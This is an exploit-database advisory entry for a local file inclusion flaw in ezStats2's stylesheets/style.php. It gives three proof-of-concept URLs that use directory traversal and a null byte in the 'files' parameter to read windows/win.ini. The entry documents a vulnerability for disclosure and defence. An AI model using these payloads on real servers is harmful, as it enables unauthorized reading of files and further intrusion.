ezStats2 - 'style.php' Local File Inclusion

Author: L0n3ly-H34rT
type: webapps
platform: php
port: 
date_added: 2013-02-06  
date_updated: 2015-09-23  
verified: 1  
codes: OSVDB-89905  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 38294.txt  
source: https://www.securityfocus.com/bid/57757/info

ezStats2 is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

http://www.example.com/ezStats2_mohw/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg

http://www.example.com/ezServer/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg

http://www.example.com/ezStats2_psn/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg